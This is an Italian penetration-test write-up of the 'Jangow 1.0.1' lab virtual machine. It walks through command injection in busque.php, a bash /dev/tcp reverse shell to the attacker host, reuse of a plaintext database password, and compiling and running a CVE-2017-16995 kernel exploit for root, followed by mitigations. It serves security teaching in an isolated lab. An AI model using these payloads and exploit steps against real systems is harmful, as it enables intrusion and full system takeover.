

Relazione di Penetration Test — Macchina Virtuale "Jangow 1.0.1"

1. Obiettivo

Verificare la sicurezza della macchina virtuale vulnerabile *Jangow01* attraverso un percorso completo di attacco, dalla ricognizione di rete fino all'ottenimento dei privilegi di amministratore (root), documentando vulnerabilità e possibili mitigazioni.

2. Ambiente di test

Ruolo	Sistema	Indirizzo IP
Attaccante	Kali Linux	192.168.64.9
Bersaglio	Jangow 1.0.1	192.168.64.13

La rete di laboratorio è la 192.168.64.0/24, isolata e utilizzata a soli fini didattici.

3. Metodologia e fasi dell'attacco

3.1 Ricognizione della rete

Tramite `sudo arp-scan --localnet` è stato individuato l'host attivo **192.168.64.13**, corrispondente alla macchina bersaglio. Il comando `ip a` ha confermato la configurazione dell'interfaccia `eth0` della macchina attaccante (192.168.64.9), necessaria per predisporre la shell inversa.

3.2 Accesso iniziale — Command Injection

L'applicazione web ospitata sul bersaglio espone il parametro vulnerabile `busque.php?buscar=`, sfruttabile per l'esecuzione di comandi arbitrari (command injection). È stato preparato un payload di *reverse shell*:

```
/bin/bash -c 'bash -i >& /dev/tcp/192.168.64.9/443 0>&1'
```

Il payload è stato codificato in formato URL tramite **CyberChef** per essere inserito correttamente nel parametro della richiesta HTTP.

3.3 Ottenimento della shell inversa

Sulla macchina attaccante è stato avviato un listener con `nc -lvnp 443`. All'attivazione del payload è stata ricevuta una connessione dal bersaglio, ottenendo una shell con l'utente a basso privilegio **www-data**. La shell è stata resa interattiva con:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

3.4 Raccolta credenziali

Nei file dell'applicazione web è stato individuato un file di configurazione PHP contenente le credenziali del database in chiaro:

Parametro	Valore
Host	localhost
Database	desafio02
Username	desafio02
Password	abygurl69

3.5 Escalation a utente locale

Sfruttando il **riutilizzo delle credenziali**, la password del database (abygurl69) è stata usata con successo per autenticarsi come utente di sistema tramite su jangow01. Nella home dell'utente sono stati trovati i file 45010.c, shell.elf e la flag utente user.txt.

3.6 Enumerazione per l'escalation dei privilegi

È stato caricato ed eseguito lo script di enumerazione **linpeas.sh** (`chmod +x linpeas.sh → ./linpeas.sh`). L'analisi ha evidenziato che il kernel della macchina è vulnerabile a:

CVE-2017-16995 — vulnerabilità nel verificatore eBPF del kernel Linux (versioni ≥ 4.4 e $\leq 4.14.8$) che consente l'escalation locale dei privilegi.

3.7 Privilege escalation a root

L'exploit corrispondente (45010.c) è stato compilato ed eseguito:

```
gcc 45010.c -o cve-2017-16995
./cve-2017-16995
```

L'exploit ha manipolato la struttura delle credenziali del processo (cred structure) ottenendo una shell con privilegi massimi. Il comando `id` ha confermato l'esito:

```
uid=0(root) gid=0(root) grupos=0(root),1000(desafio02)
```

3.8 Prova finale

Con i privilegi di root è stato possibile accedere alla directory /root e leggere la flag finale proof.txt, contenente l'ASCII art "JANGOW" e l'hash:

da39a3ee5e6b4b0d3255bfef95601890afd80709

4. Vulnerabilità riscontrate

- 1 **Command Injection** nel parametro buscar di busque.php — consente esecuzione di codice remoto.
- 2 **Credenziali in chiaro** nel codice sorgente dell'applicazione web.
- 3 **Riutilizzo delle password** tra database e account di sistema.
- 4 **Kernel obsoleto e non aggiornato**, vulnerabile a CVE-2017-16995.

5. Raccomandazioni

- Validare e sanificare tutti gli input utente; evitare l'esecuzione di comandi di sistema a partire da parametri web.
- Non memorizzare credenziali in chiaro nel codice; utilizzare variabili d'ambiente o vault dedicati.
- Adottare password distinte e robuste per ogni servizio e account.
- Aggiornare regolarmente il kernel e i pacchetti di sistema per correggere le vulnerabilità note.
- Applicare il principio del privilegio minimo agli account applicativi.

6. Conclusioni

Il test ha permesso di compromettere completamente la macchina Jangow 1.0.1, passando da un accesso web non autenticato al pieno controllo del sistema (root). La catena di attacco ha sfruttato una combinazione di vulnerabilità applicative (command injection, credenziali esposte) e di sistema (kernel non aggiornato), dimostrando l'importanza di una gestione sicura di input, credenziali e aggiornamenti.